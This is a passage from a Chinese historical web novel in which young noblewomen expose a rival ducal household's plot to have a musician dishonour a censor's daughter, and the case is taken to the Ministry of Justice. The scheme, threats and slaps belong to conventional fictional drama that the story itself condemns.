许南音和乐师的情事,坊间传得极为香艳,无聊的文人以此作画写诗,影响越来越大。
许御史因此颜面扫地,被迫辞官,带着一家老小离开京城。
孟蕊重生之后,便早早思考起此事来,越发觉得此事经不起推敲。
以孟蕊对许南音的了解,许南音行事最是规矩,不可能做出和乐师私奔的事来。
所以,她早早拜托了大哥孟瑾,帮她留意许南音的情况,一有不对,立即通知她。
十天前,孟蕊接到大哥孟瑾来信,说晋国公府将对许南音动手,孟蕊立即起程回京,纪华筠一听有热闹看,也兴冲冲地跟上……
许夫人绷不住了,她的女儿居然差点被人算计了清白,如果得逞,后果难以设想。
“你这无耻小人!”
许夫人冲上前去,对着暮辞痛斥。
“说!到底是谁指使你来害我女儿?说啊!”
暮辞奄奄一息地躺在地上,双目放空,对许夫人不痛不痒的斥骂,似无所觉。
直到纪华筠伸出手指,一下戳在暮辞被打肿的脸部淤伤上,疼得暮辞“啊——!”地惨叫出声。
“回答她的问题,是谁指使你的?”
纪华筠厉声问道。
“那人是否就在这里?”
“纪小姐,你们不要太过分!你这样问,不就是直接叫他指证我?”
齐月佳拿帕子擦着眼泪,委屈得无以复加。
“我与许小姐无冤无仇,我为何要这般害她?你们不能一起冤枉我!”
纪华筠眼神都没给齐月佳一个,紧盯暮辞,“说!指使你的人是谁?”
“我不知道,但不是这位说话的小姐。”
暮辞瞄了齐月佳一眼,畏惧地看向纪华筠。
“让我这样做的人,是个男的,他不在这里,其他的,我真的不知道了。”
“还敢说谎!”
纪华筠手握成拳,在暮辞的胸前按了按,扯着嘴角,坏笑着说。
“我本来还想让你当个证人,留个活口,可是你不说实话,我不如一拳打断你的骨头,在把骨头插入你的黑心肝里,让你疼死!”
“不要啊!别再打我了!”
暮辞吓得冷汗直冒,终于松了口。
“指使我的人,是晋国公府的刘管事,十天前,永宁侯府定了我们戏班今日进府唱戏,刘管事就找到我,让我勾引许小姐成就好事,其他的,他自有安排。”
“你胡说!”齐月佳哭喊着反驳,“你是被安排好的,要诬陷我们家!”
齐月佳走到永宁侯夫人身边,委屈地说:
“纪夫人,就算纪小姐是您的女儿,您也不能纵容她和这戏子合谋,诬陷我们晋国公府啊!纪小姐必须要给我们晋国公府道歉!”
永宁侯夫人沉着脸,还未开口,纪华筠已经站起身,指着齐月佳,嗤笑道:
“齐小姐,你没事吧?你们晋国公府,在我们永宁侯府闹出这种污糟事,坏了我母亲的生辰宴,我们还没找你们的麻烦,你居然敢让我道歉,你们受得起吗?”
“怎么受不起?你们是侯府,我们是国公府,我们品级更高……”
话刚出口,齐月佳就后悔了。
虽然晋国公府品级更高,但子孙都走的文臣之路,永宁侯府持有兵权,是实打实的实权家族,真要说起来,晋国公府还真比不过……
听到齐月佳这样说,一直没说话的永宁侯夫人,也不高兴了。
“我们永宁侯府,确实比不得你们晋国公府金贵,但齐小姐,我们府中,绝不允许心怀不轨之人兴风作浪,你可明白?”
齐月佳畏缩着退后一步,强撑着镇定道:
“月佳明白,请您相信,此事与我们晋国公府无关!”
“人证物证俱全,怎么和你们无关了?”纪华筠拆台道。
“华筠!你给我过来!”
永宁侯夫人严厉地瞪向纪华筠。
“你一个姑娘家,不许再掺和此事。”
纪华筠不满地对上永宁侯夫人的视线,冷哼着转过脸去,赌气般不理她。
永宁侯夫人顾及到其他夫人小姐在,不好对纪华筠发作,只清了清嗓子,让婆子去外面叫侍卫进来,把乐师暮辞和丫鬟巧儿一起押走待审。
孟蕊定下心神,她不能让此二人就这样被带走。
“纪夫人,此事不论是否晋国公府所为,但明显是有人要设计陷害南音,很可能是要借机对付许御史。”
孟蕊上前,对着永宁侯夫人一礼,转而对许夫人和许南音说。
“许伯母,南音,此案背后不简单,要调查清楚,必须上报官府,这两个证人,也该一并带去京兆府。”
第266章 大不了不嫁
“去京兆府?你是不是疯了?”
齐月佳惊呼出声,不可置信地指着孟蕊。
“为了这么点后宅小事,你要闹去官府丢脸?”
孟蕊唇角勾起讽刺的笑,定定看着齐月佳,“如果是齐小姐你被人构陷、差点污了名节,你还会觉得,这只是小事?”
齐月佳被她看得心虚,避开孟蕊的视线,向永宁侯夫人说道:
“纪夫人,事关许小姐清誉,您不能让孟蕊胡来。”
孟蕊也转过身来,对永宁侯夫人说:
“纪夫人,我不是胡来,此事涉及晋国公府和御史许家,不是后宅小事,若糊涂判案,大事化小,小事化无,后患无穷!”
站在孟蕊身侧的许南音,不顾母亲许夫人阻止的眼神,义正言辞道:
“纪夫人,此事是冲着南音和许家来的,对方要坏我名节,损我父清誉,我断没有退缩的道理。
请纪夫人将这两个证人交给南音,我要带着他们上公堂,求个公道!”
“南音!”许夫人急了,“这种事情怎么能上公堂呢?你如今尚在议亲……”
“母亲,您还没看明白吗?”
许南音打断许夫人的话,掷地有声地说。
“父亲上月才弹劾过晋国公,今日我便遭了此种恶劣算计,他们要利用我,对付父亲,让整个许家蒙羞!
皮之不存,毛将焉附?许家遭了殃,我们都保不全,还说婚事有何意义?”
许南音嘴唇泛着白,语气却异常坚定。
“而且,女儿于婚姻一事上,并无追求,若真因此影响议亲,我也不怕,大不了一辈子不嫁便是。
若家中容不下女儿,女儿便离开京城,去草庐与师父一起住,母亲尽可放心。”
见女儿如此坚决,连后路都已想好,许夫人脸色发白,终是没有再劝。
围观的夫人小姐们,听到许南音出格的话,小声议论起来。
“许小姐的师父,是不是京郊松风草庐的郑栩大师?她好像至今未曾婚嫁。”
“没错,许小姐是郑大师唯一的关门弟子,深得郑大师画技真传,没想到这婚姻之事,也要随了郑大师。”
“也不一定吧,那乐师又没有得逞,许小姐名节无损,应是无碍亲事。”
“但闹去府衙,被好事者一宣扬,即使没错,也会被人找出错处来。”
“那确实,事关女子名节,当低调处理为好。”
……
永宁侯夫人沉着脸,面色纠结。
这种涉及女子名节之事,本不宜大肆宣扬,她是想大事化小,处置了乐师和丫鬟,就此按下。
但孟蕊话里话外的意思,都直指晋国公府因为许御史,对付其女许南音。
而许南音的态度,又是如此坚决,非要上公堂不可,这该如何是好?
据永宁侯夫人所知,之前刑部查获的吏部贪腐案,许御史在其中也出了力。
那件案子的主谋,是吏部考功司郎中陆涛。
吏部考功司,主要负责考核官员政绩,决定升降。
陆涛联合下属,以助地方官员升迁为诱,向地方小官敛财,数额巨大。
陆涛承认自己的罪行后,即在牢中自戕而亡。
其余同谋人等,均认罪悔罪,被革职后按律判刑。
此案抓获品级最大的官就是陆涛,吏部侍郎晋国公并未因此受到牵连,但许御史没有放过他。
许御史直接向皇帝上书,弹劾吏部尚书曹修易,和吏部侍郎晋国公,纵容下属贪腐,收受贿赂,应与陆涛同罪。
但因没有证据,曹尚书和晋国公贪腐的罪名并不成立。
许御史再接再厉,再次上书,弹劾曹尚书和晋国公对下属监管不严,犯失察之罪,应对其进行惩处,以正朝纲。
如此一来,迫于曹太后压力,对曹尚书睁一只眼闭一只眼的皇帝,也有了不得不惩处曹尚书的理由。
曹尚书因其劳苦功高,只被罚俸半年,小惩大戒。
但对晋国公惩罚就重了许多,他被停了职,勒令在府中反省。
跟在永宁侯夫人身边的赵雅娴,也想到了吏部贪腐案。
若不是许御史的弹劾,让晋国公被停职,才教赵雅娴的父亲,暂不急于和晋国公府结亲。
否则,以赵大人惯来在家中说一不二的作风,就算赵夫人带着赵雅娴躲去娘家,赵大人也会追上门去,逼着赵雅娴和齐辕定亲。
赵雅娴眸光微闪,如果晋国公府今次再出丑闻,她那个最会审时度势的父亲,应该就不会把她的婚事,和晋国公那个庶长子绑在一起了吧?
如此想着,赵雅娴向前两步,对永宁侯夫人温声道:
“纪夫人,雅娴私以为,孟小姐说得有道理,虽然事情发生在永宁侯府,但这其实是御史许家和晋国公府的事,永宁侯府没道理招惹这等子事。”
赵夫人也跟着附和,“是啊,阿莹,这本不关你的事,那些居心叵测之人,将局设在你们府上,搅了你的生辰宴,真是不该。”
想到女儿的婚事,赵夫人对晋国公府也没有好话,不点名,已是留的最大体面。
“今日这事,我越想越觉得蹊跷,心中总觉得不安,你好生想想,这其中若真涉及朝堂之事,咱们这些后宅妇人,如何担得起责任呐?”
言下之意,便是让永宁侯夫人不要管,更不要以永宁侯府的势力,为晋国公府按下此事。
永宁侯夫人看向赵夫人,她们是从姑娘家时就交好的手帕交,感情深厚,她最是信任赵夫人。
“你说得不错,我们后宅妇人,不好做决定。”
永宁侯夫人对侍卫下令道:
“去外院把侯爷请来,一切听侯爷安排。”
侍卫领命,快速跑出门去。
齐月佳揪着手帕,焦灼地望着门外。
这么重要的时候,她的大伯母,晋国公夫人,居然没有一起跟来。
她一个小辈在这里,人微言轻,永宁侯夫人根本不听她的话啊。
齐月佳对身边的丫鬟使了个眼色,让她偷偷溜出去,去找晋国公夫人过来。
而比晋国公夫人先到的,是永宁侯纪恺。
孟蕊惊喜地看到,随永宁侯一起来的,除了侍卫,还有她的父亲谢清源和大哥孟瑾。
“爹爹!大哥!”
不等他们进入暖阁,孟蕊就迫不及待地奔了过去……
第267章 父女相见
“乖女儿,快让为父看看你。”
谢清源看到孟蕊,欢喜地笑着,目光不自觉地向孟蕊身后看去。
即使早已知道孟天没有回京,但此刻切实没见到人,他还是忍不住失落。
“蕊儿长高了,是不是?都到你哥哥肩膀了。”
孟蕊闻言,歪头看了看含笑的孟瑾,伸手比了比他们之间的身高差,好像是这样。
之前她和大哥站在一起,头顶只到大哥的胸口。
“确实长高了,也长结实了,是好事,这半年在外历练很辛苦吧?”孟瑾笑着摸了摸孟蕊的发顶。
得到父兄的认可,孟蕊很高兴,“多辛苦都值得,我现在比半年前厉害多了。”
这半年来,孟蕊和纪华筠,跟随孟天,在江湖行走,不但历练了武功,也磨炼了心志,孟蕊觉得特别有收获。
如果不是接到孟瑾的消息,说晋国公府准备对许南音动手,孟蕊还不想这么快回京呢。
“谢大人念叨了好几个月的宝贝女儿,终于回来了,这下可以放心了吧?”
永宁侯笑着对谢清源说。
谢清源也乐呵呵回应,“是啊,这下侯爷你耳边可清静了,我不会再和你念叨了。”
孟蕊连忙屈膝,向永宁侯行礼,“孟蕊见过侯爷。”
永宁侯抬了抬手,示意孟蕊起身,“县主不必客气,我和你父亲兄长都很熟,你与我女儿华筠年纪相仿,以后多多走动。”
孟蕊点头,乖巧应是。
“爹!”
纪华筠响亮的声音,从暖阁中传来。
“爹你快进来,给娘说句准话,我好带着证人出发了。”
永宁侯听到女儿纪华筠的声音,眉心一跳,抬脚就向暖阁内走去。
孟瑾对孟蕊和谢清源眼神示意后,三人跟上永宁侯的脚步,一起进了暖阁。
永宁侯一进入暖阁,看到的就是他那半年不见的嫡女纪华筠,身着黑色男子劲装,一手拎着半死不活瘫软的乐师暮辞,一手拽着被绑住双手的丫鬟巧儿,以力敌千钧的架势,要往外头走。
而永宁侯夫人带着丫鬟婆子,拦在纪华筠的面前,不许她出去蹚浑水。
暖阁中其他围观的夫人小姐们,都为纪华筠今日的豪迈举动感到诧异。
“纪小姐的力气真大啊,那么大个男人,她居然能直接拎起来。”
“不愧是武将家的女儿,虎父无犬女。”
“你们不觉得奇怪吗?纪小姐往常最是规矩守礼,堪称京城闺女的典范,她今日怎么如此……嗯,不拘小节?”
“是啊是啊,今日的纪小姐,都不像以前的那个她了。”
“哎呀,你们说,纪小姐出门半年,她该不会被什么精怪夺舍了吧?”
“天呐,这么吓人?”
……
身为纪华筠好友的赵雅娴,实在听不下去周围这些无稽之言,扭头便冲着那个提出“精怪夺舍”的小姐说:
“阿筠出身武将之家,心怀忠义,路遇不平,挺身而出,她为受欺的许小姐出头,是正义之举,怎么到了你们口中,竟挑剔起一些微不足道的细枝末节来?”
赵雅娴严肃的目光,扫过聚在一起议论的小姐们。
“今日是许小姐遭此横祸,万一有一天,轮到你们头上呢?你们难道不想要有人像阿筠这样保护你们、为你们出头?”
几位小姐面面相觑,想到自己若是被人如此设计名节,后果简直可怕到不敢想象。
她们纷纷不自觉看向齐月佳,如临大敌般往旁边退去,离齐月佳远远的。
齐月佳察觉到身边人的动作,心中固然不悦,但有更重要的事在前,她不好发作。
永宁侯便是在此时进来,暖阁中的众人纷纷向他行礼。
“都免礼。”
永宁侯没有听旁边的贵女千金们在叽叽喳喳说什么,一双厉眸直直盯着女儿纪华筠。
想到纪华筠半年前做出的混事,还敢离家出走,永宁侯顿时气不打一处来,疾言厉色道:
“你又在做什么?一回家就惹事,不好好待着,又要跑去哪里?”
听到永宁侯开口就是训斥,原本兴奋要出门的纪华筠,如同被当头泼了一盆凉水。
她气哼哼地说:“爹,你一见面就知道训我,你怎么不学学谢大人,人家对女儿,都是轻言细语的,我也长高了,怎么不见你夸夸我?”
永宁侯一顿,不禁上下打量半年未见的女儿。
“好像确实长高了一点,是不是也长胖了?”
“我不是胖,是变壮了!”
纪华筠将手中的暮辞拎起,提了两下,给永宁侯看。
“像他这样的小东西,我一只手可以拎两个。”
永宁侯的目光,移到纪华筠手中被打得鼻青脸肿、无力反抗的暮辞身上。
“这个男人是谁?谁把他打成这样的?”
永宁侯对上永宁侯夫人纠结又无奈的双眸,问道:
“这里到底发生了什么事?”
方才侍卫到前院时,永宁侯正在与谢家父子谈话。
见有外客在,侍卫只说后院出了事,永宁侯夫人请永宁侯前去看看。
谢清源一听,厚着脸皮就说要一起去帮忙。
永宁侯想着今日府中为永宁侯夫人设宴,请的都是世家高门的夫人小姐,出不了什么大事。
顶多是夫人小姐们之间,为了点小事,起了争执,永宁侯夫人搞不定,派人来找他这个侯爷出面。
谢清源这个身份跟着去了,还能帮着说说好话,疏通矛盾。
而眼前的场景,告诉永宁侯,事情没他想的那么简单。
永宁侯夫人疲惫地叹了口气,对身侧的赵雅娴招了招手,让这个她信任的小辈,把事情的经过,和永宁侯完整叙述一遍。
赵雅娴对永宁侯福了福身,开始讲述事情的经过。
她从齐月佳来找她帮忙说起,到她们一起见过永宁侯夫人,开始在府中园子里找许南音。
再到齐月佳发现暖阁,引来众人,发现许南音被纪华筠和孟蕊所救。
企图侮辱许南音的乐师暮辞,诱骗许南音到暖阁的丫鬟巧儿,都被纪华筠和孟蕊抓获。
“侯爷,乐师暮辞和丫鬟巧儿,都指证是晋国公府的人,指使他们设计陷害许小姐。
现在,许小姐正要带两名证人,去京兆府报官,阿筠也是见义勇为,想要帮忙……”
赵雅娴的话还未说完,晋国公夫人匆匆忙忙闯了进来,打断她的话。
“有人要陷害我们晋国公府,侯爷可万不能听信谗言!”
第268章 内心肮脏
晋国公夫人杜氏,在丫鬟的搀扶下,快步走进暖阁,狠狠剜了一眼方才说话的赵雅娴,冲着永宁侯而去。
“听闻有人恶语中伤我晋国公府,纪侯爷,您英明神武,定是不会相信那等居心叵测之人的话的。”
正在琢磨赵雅娴所说情况的永宁侯,听到晋国公夫人语气不善的逼认,心中升起几许不悦。
晋国公府虽品级比永宁侯府高,但他永宁侯是兵部尚书,晋国公是被停职在家反省的吏部侍郎,孰轻孰重,一目了然。
永宁侯府可不怕他晋国公府。
“齐夫人言重了,本侯刚到,还未明晰此间情况,暂且无法判断是非对错。”
永宁侯四两拨千斤,将问题踢了回去,不正面回答。
晋国公夫人略微松了一口气,若是永宁侯不插手,此事便好压下。
她斜眼给了齐月佳一个眼神,像是在质问,怎么会把事情办成这样?
齐月佳苦着脸,微微摇头,她也不知道啊,明明一切都是按照计划走,谁知道纪华筠和孟蕊会突然出现,横插一脚。
晋国公夫人正想着要如何息事宁人时,外表柔婉的许南音,突然站了出来。
许南音向前几步,对着晋国公夫人福了福身子,铿锵有力道:
“齐夫人,南音斗胆请问,你们晋国公府,为何要对我一个小女子动手,毁我名节,是否为了对付我的父亲?”
晋国公夫人心头一颤,不可置信地瞪向许南音,“你、你胡言什么?”
许南音转移目光,坚定地看向站在一处的永宁侯和谢清源,向他们行礼道:
“纪侯爷,谢大人,南音没有胡言,我被丫鬟巧儿诱骗到此暖阁,那乐师暮辞,早已等在此处。”
许南音顿了顿,声音哽咽地说:
“他把我抓进房中,一边脱衣服逼近我,一边和我说,是我父亲得罪了人,所以我才要遭此一劫……如果不是纪小姐及时踹门赶到,我恐怕……”
许南音后怕的泪水,流淌在她苍白的脸上,楚楚可怜。
“那歹人暮辞,已经指认,是晋国公府的刘管事,出钱收买他,让他趁着永宁侯夫人的生辰宴,毁我清誉。
丫鬟巧儿也指认齐小姐身边的丫鬟,是指使她诱骗我到暖阁的罪魁祸首。
而就在上月,我父亲履行御史监察之责,弹劾晋国公、吏部侍郎齐大人对下属监管不严,犯失察之罪,致使晋国公停职在家反省。
这次的事情,分明就是晋国公要利用我的名节清誉,报复我父亲!”
“你胡编乱造!绝无此事!”
晋国公夫人尖声打断许南音的话。
她伸着细长的手指,指了指许南音,又指向暮辞和巧儿。
“你、你们,都是恶意造谣,不是我们晋国公府做的!”
晋国公夫人说着,鄙夷凶狠地瞪着许南音,声音尖锐刺耳。
“许小姐,你长相貌美,又打扮得花枝招展,被一个好色的乐师看上,轻薄了,有什么奇怪?凭什么怪到我们晋国公府头上?”
许南音气得发抖,却不知该如何反驳。
她本就不是泼辣的性子,能站出来说话,已经是鼓起了最大的勇气。
忽然,她感到背上一暖,侧头一看,孟蕊走到了她身边,对她安抚一笑。
“齐夫人,凡是做过的事,总有痕迹留下,你们抹杀不了全部证据。”
孟蕊淡淡看向晋国公夫人,泰然自若地说。
“今日这事,做得有些粗糙了,想必晋国公不一定知情吧?是齐夫人你,联合齐家二房私下做的决定?”
晋国公夫人变了脸色,以一副“你怎么知道”的眼神,疑惑又忐忑地望向孟蕊。
孟蕊没有卖关子,直接解释:
“其实,这很容易猜出来,收买乐师暮辞的刘管事,是二房的人,参与计划的齐小姐,也是齐家二房的女儿。”
孟蕊轻笑着,看向面露惊惶的齐月佳。
“齐小姐,你还没听明白吗?
一旦事发,齐家大房可以摘得干净,他们推说全都不知即可。
但你们二房嘛……免不了要被冠上侮辱朝臣家眷的罪名,你往后的路,可就难走咯!”
“听不懂你在说什么。”齐月佳低下头,按捺下惴惴不安的心绪,脑中却反复思量着孟蕊的话。
“孟蕊,你少来挑拨我们家的关系!”
晋国公夫人拉住齐月佳的手,把她拽到自己身后,指着孟蕊,语气尖酸刻薄。
“你从小我就看你是个不安分的,天天在外头抛头露面,招摇过市,许南音就是和你在一起久了,才沾染上妖里妖气,惹得被男人轻薄。”
这位晋国公夫人杜氏,是晋国公的填房,出身南州盐官之家,当年嫁入晋国公府,带来了丰厚的嫁妆。
但杜氏此人,从小娇生惯养,没受过大家教导,有些上不得台面,平日里还能装,一旦话说多了,就原形毕露。
孟蕊从前是听多了杜氏对自己的冷嘲热讽,过耳不过心,没必要自证,不当回事即可。
而且现在有父亲和兄长在,孟蕊自信,他们会帮她说话的。
晋国公夫人尤嫌说孟蕊和许南音不够,转头看向谢清源,端着姿态劝说:
“谢大人,孟蕊是你的女儿,我本不该多言,但你看看她今日穿的是什么?
是男人的衣服!也不知道是找哪个野男人要来的,裹在身上,这不是故意勾人吗?
这种妖精做派不改,像许南音一样被人轻薄,你们后悔都来不……”
“啪!”
谢清源冲上来,一巴掌甩在晋国公夫人脸上。
“啊!”
晋国公夫人被打得向地上倒去,她身边的齐月佳和丫鬟,及时扶住她,才免去了她与地面接触。
晋国公夫人被打懵了,她怎么都没想到,谢清源居然敢打她!
谢清源打了人,反而更加愤怒,他双眼犹如喷火,怒视晋国公夫人,厉声质问:
“齐夫人,你以前都是这样污蔑贬低我女儿的?你有什么资格管她?
我的女儿,她想干什么就干什么,想穿什么就穿什么,这是她的自由!”
谢清源深吸一口气,压下还想打人的手,冷笑道:
“怪不得你们晋国公府,能想出构陷女子清白的诡计来,原来当家主母的心,是如此肮脏不堪,令人作呕!”
第269章 刑部负责
旁边看到这一幕的众人,无不倒吸一口凉气。
“天呐!我是不是看花了眼?谢大人打了晋国公夫人?”
“你没看错,他真的打了,虽然打人不好,但晋国公夫人的话,也着实说得太难听了。”
“我也觉得不好,身为国公夫人,哪有如此说晚辈的道理?谢大人发怒也正常。”
“就是,孟小姐在外做生意,她父亲谢大人都支持了,哪需要旁人说三道四?”
“八成就是晋国公夫人指使下人买通歹人,对许小姐动手,不然她何必反应那么大?”
……
赵雅娴和其母赵夫人对了一个眼神,都从对方眼中看到相似的精光。
晋国公夫人惹怒了陛下的心腹谢大人,事情可就不是那么好收场的了,或许,赵雅娴和齐辕的婚事,能彻底作罢。
许夫人紧张地抚上女儿许南音的手,她出身不高,事情闹得越大,她越是感到心惊。
许南音坚定地回握住母亲的手,无声地安抚着。
在与孟蕊一起去找丫鬟巧儿的路上,孟蕊便将事情原委告知于她。
许南音听到孟蕊从千里之外奔回京城来救她,非常感动,同时也暗下决心,绝不能让孟蕊的一腔努力白费。
看到谢清源打了晋国公夫人,纪华筠双眼放光。
“谢大人,干得漂亮!”
纪华筠欢呼着,兴奋地拎着暮辞甩了甩,把原本奄奄一息的人,彻底甩晕了过去。
“华筠!”永宁侯夫人瞪向她,制止她再说话。
就算是见多识广的永宁侯,也被谢清源打人的动作惊到。
连孟蕊都惊讶地望向她的父亲,她想父亲或许会帮她骂回去,但没想到父亲会直接动手啊!
只有一直沉默看着这一切的孟瑾,最为淡定。
孟瑾按下谢清源还想揍人的手,“父亲,让我处理这里的情况。”
谢清源看着孟瑾冷静持重的样子,点了点头。
孟瑾越过还处于呆滞状态的晋国公夫人,也没有理会想要张口喊他的齐月佳,径直走到永宁侯面前,拱了拱手道:
“纪侯爷,下官认为,许御史为国行使监察之责,却被小人报复,致使其女许小姐险遭算计,此事非同小可!
若被弹劾的官员,都像此等歹人一般,依律受了惩处,不思己过,反报复纠错之御史,朝堂之上,岂不是人人自危?”
永宁侯一听孟瑾如此说,心中一动,“依孟大人所言,此事该如何处置?”
“侮辱官眷,按严重程度定罪,最高可判死刑。”
孟瑾严肃地说,声音冷冽,仿佛不带一丝情感。
“犯罪者与幕后指使者,依律可同罪!”
听到死刑两个字,齐月佳害怕地问出声:“不可能,许南音什么事都没有,怎么可能是死刑?”
孟瑾嘴角浮起一抹极淡的冷笑,看向齐月佳说:
“许小姐虽无事,但嫌犯之犯罪事实依然存在,当然,量罪时会有所保留,不会到死刑那么严重,齐小姐是在给谁计算刑期?”
“当然不是!我就随便问问。”齐月佳急切否认,低下头不敢和孟瑾对视。
孟瑾也没有追问,他一派谦谦君子的温和模样,收回视线,对着永宁侯坦然微笑。
“纪侯爷,此案涉及许御史,许御史因吏部贪腐案,弹劾了晋国公,而吏部贪腐案,正是刑部主办,刑部有责任将此案一查到底,方能不负皇恩。”
说着,孟瑾对着虚空拱了拱手,以示对天家的尊重。
听到孟瑾连皇帝都搬出来了,永宁侯也不好再说什么。
这段时日,永宁侯与谢清源走得近,这件麻烦的事,交给孟瑾,倒也放心。
“孟大人查案认真负责,本侯自当配合。”永宁侯给出了承诺。
孟瑾满意地回礼,“多谢侯爷体谅。”
然后,孟瑾转向许夫人和许南音。
“许夫人,许小姐,今日之事涉及许御史,和刑部侦办的前案,二位若要报官,不如报来刑部,孟某保证,一定将此事深究到底,给许家一个交代。”
许南音虽与孟瑾没说过几句话,但此人是孟蕊常挂在嘴边夸赞的大哥,许南音自是信任他,没有犹豫,便应承了下来。
之后,孟瑾唤来自己带来的侍卫,将乐师暮辞和丫鬟巧儿绑了,带回刑部问话,并着人立即去晋国公府,传唤暮辞指证的刘管事到刑部。
巧儿指证的齐月佳的丫鬟,也被侍卫押回了刑部。
孟瑾出言要求,深度参与今日事件之人,全都跟他回刑部问话,其中自然包括了齐月佳和晋国公夫人。
但齐月佳和晋国公夫人态度强硬,绝不去刑部,逃也似的跑出永宁侯府大门,坐上自家马车离开了。
孟瑾没有阻拦,也派人去追,他的目标,原也不在这些后宅女子。
成功吓唬到了齐月佳和晋国公夫人,孟瑾没有坚持带所有参与之人回刑部。
相反,他为了减小影响,只带了当事人许南音,作为证人的孟蕊,以及永宁侯府的管家回刑部记录证词。
但纪华筠主动跳出来,说她是拯救许南音的头号英雌,她有重要证词,要说给孟瑾听。
听到纪华筠要去,赵雅娴也要跟着,称自己是完整见证事情经过的证人,也有重要证词。
永宁侯夫妇本不愿意纪华筠再出门,孟瑾再三保证,一定送纪华筠回府后,他们才勉强松口。
于是,孟蕊、许南音、纪华筠、赵雅娴四人,一起坐上永宁侯府安排的宽敞马车,在永宁侯府侍卫们的守护下,向着刑部行驶而去。
孟蕊掀开马车窗帘一角,看到外面起码有十几名侍卫层层守着马车,不由觉得好笑。
放下窗帘,转头对纪华筠说:
“看来,你爹娘对你看得很紧,你再想跑,可不容易。”
“什么?阿筠,你还要跑啊?”赵雅娴惊讶道,“侯爷和夫人已经不追究那件事了,你可以安心待在京城的。”
罗杰裕的案子,以突然疾病意外病逝定案,就是永宁侯妥协的结果。
纪华筠拍了拍赵雅娴的肩膀,豪气道:
“放心吧,阿娴,我这次出去一趟,已经有经验了,下次出门,我捎上你一起啊。”
“你还要带我一起?真的假的?”
赵雅娴怀疑中,又带着一丝兴奋。
平日的稳重娴静,是礼教的要求,她不过十八岁,还是个对未来抱有憧憬的少女。
纪华筠笑道:“当然是真的,我给你讲,外面可好玩啦……”
许南音静静坐在一边,听着纪华筠讲述外面的风景人情,眉目之间,闪动着淡淡的哀愁。
第270章 齐大公子
“南音,别怕。”
孟蕊拉起许南音的手。
“有我大哥在,一定会让陷害你的人付出代价,他们以后再也不敢来招惹你。”
许南音水润的眸子看向孟蕊,浅浅笑道:
“我知道,蕊儿,我相信你,自然也相信你大哥。”
孟蕊探究地瞧着许南音,觉得比起愤怒和忧虑,许南音似乎更显忧愁。
“南音,你是不是有什么事,没有告诉我?关于晋国公府对你出手的原因,除了你的父亲许御史外,还有别的吗?”
孟蕊只是试探一问,却见许南音面色更加苍白,神情中泛起几许凄然来,孟蕊微讶,她该不会猜中了吧?
“真有其他原因?南音,你得说出来,我们才能更好帮到你。”
正在交流过去半年见闻的纪华筠和赵雅娴,听到孟蕊的声音,停下说话,齐齐看过来。
“除了晋国公府报复许御史外,还有什么原因?”纪华筠好奇地问。
赵雅娴深深凝视许南音白皙柔美的小脸,感觉脑中有什么念头一闪而过。
许南音轻咬嘴唇,摇了摇头,“应该不会是那件事。”
纪华筠急道:“你不说出来,我们怎么知道是什么事?”
许南音目光扫过马车内的其他三人,难堪地低下头,明显很不想说。
孟蕊眸光一闪,“南音,你不想说,那就一点头和摇头来回答,可以吗?这件事,是涉及晋国公府的?”
许南音沉默地点了点头。
孟蕊又问:“是涉及晋国公府二房和齐月佳?”
许南音却是摇头。
孟蕊迟疑了,今天对许南音出手的,主要是晋国公府二房,与他们无关,那和谁有关?
赵雅娴在此时突然开口问:“许小姐,此事可是关于晋国公府大公子齐辕?”
许南音面露惊讶,随即闭了闭眼,点下了头。
“齐辕?”孟蕊颇感意外,大哥的来信中,并未提及此人,“赵小姐,你知道是什么事?”
“我大概听说过一点。”
赵雅娴神情复杂地看向许南音,平静地说。
“齐辕是晋国公的庶长子,他通过三年前的科举入仕,现任吏部文选司主事,平日里最大的爱好,便是写诗作画。
听说,他曾在青城郡主的雅集上,对许小姐的画作,大加赞扬,溢美之词,不胜言表。”
“青城郡主又办雅集了?是什么时候的事?”孟蕊问。
这半年在外游历,孟蕊虽常与父亲和兄长们通信,但京中许多不那么重要的事,她并不清楚。
“就在今年中秋节后。”赵雅娴答道,“厉王爷回了北地,青城郡主以赏桂为名,办了雅集,吸引了京中众多才子才女前往,齐大公子和许小姐,都参加了那次雅集。”
“哦~我知道啦!你们才子佳人,是不是看对了眼……”
纪华筠一副我很懂的表情,贼兮兮地凑近许南音。
“许小姐,说说嘛,这里没外人,别不好意思。”
许南音不自在地往孟蕊身边靠过去,与并不熟悉的纪华筠拉开距离,连忙摆手解释:
“纪小姐,不是你说的那样,我与齐大公子,从无逾矩,你们不要误会。”
她说着,还小心又为难地偷偷瞄了赵雅娴一眼。
“是真的,我对齐大公子,没有男女之情。”
“你只说你没有,那齐辕对你有男女之情,是不是?”
纪华筠发现了盲点,不停地追问。
“晋国公府不乐意你与齐辕成就好事,要拆散你们!”
“我……”许南音尴尬得无以复加,不知要如何回应。
赵雅娴双眼亮了亮,紧盯许南音,“看来,是齐辕对你有意……”
“赵小姐,你千万别误会,我和齐大公子,只在雅集上见过几面而已。”
许南音手足无措地揪着裙上的刺绣,纠结之后,终于说出了实情。
“齐大公子他……送过我一首诗,当时我不知道情况,便收下了,真的很对不起!
但后来,我知道赵小姐你和齐大公子有意结亲,我就与他保持距离,从没有想要影响你们的婚事!”
纪华筠震惊地看向好友,“阿娴,你要嫁去晋国公府?”
“那是我父亲想,我才不想,为了这事,我和我母亲已经搬回了忠勇伯府。”赵雅娴撇了撇嘴,一脸嫌弃地说。
她看向同样惊讶的许南音,直言道:
“许小姐,你放心,我是不会嫁去晋国公府的,你也不用对我感到抱歉。
不过,我有一个问题,我与齐辕的婚事,只在父辈商议中,并未对外传开,你是如何知道的?”
许南音抿了抿唇,犹豫着说:“是齐小姐告诉我的……”
“齐月佳?”赵雅娴神色不悦,“她为何要告诉你?”
婚姻之事,在未定亲之前,一般都要保密为要,若是不成,对女子的名声会产生负面影响,因此,赵雅娴对传出消息的人格外在意。
许南音自然也明白赵雅娴的心思,她轻言细语地继续解释:
“在赏桂雅集之后,我与齐大公子在书肆又遇过一次,当时他和齐小姐一起买书,齐大公子追上来和我说话,被齐小姐看到,想是她生了误会。
上个月,我在书肆,又遇到了齐小姐,她说我父亲多管闲事,害苦了她大伯,又说我恬不知耻,配不上她堂兄,并提到了齐大公子与赵小姐你在议亲之事……”
“这个齐月佳,真是个大嘴巴。”纪华筠鄙夷地说。
赵雅娴敛目皱眉,面色沉凝。
她想到齐月佳在书肆那么多人的地方,公然议论她的婚事,就感到气血上涌,撕了齐月佳的心都有。
孟蕊并不觉得意外,淡淡道:
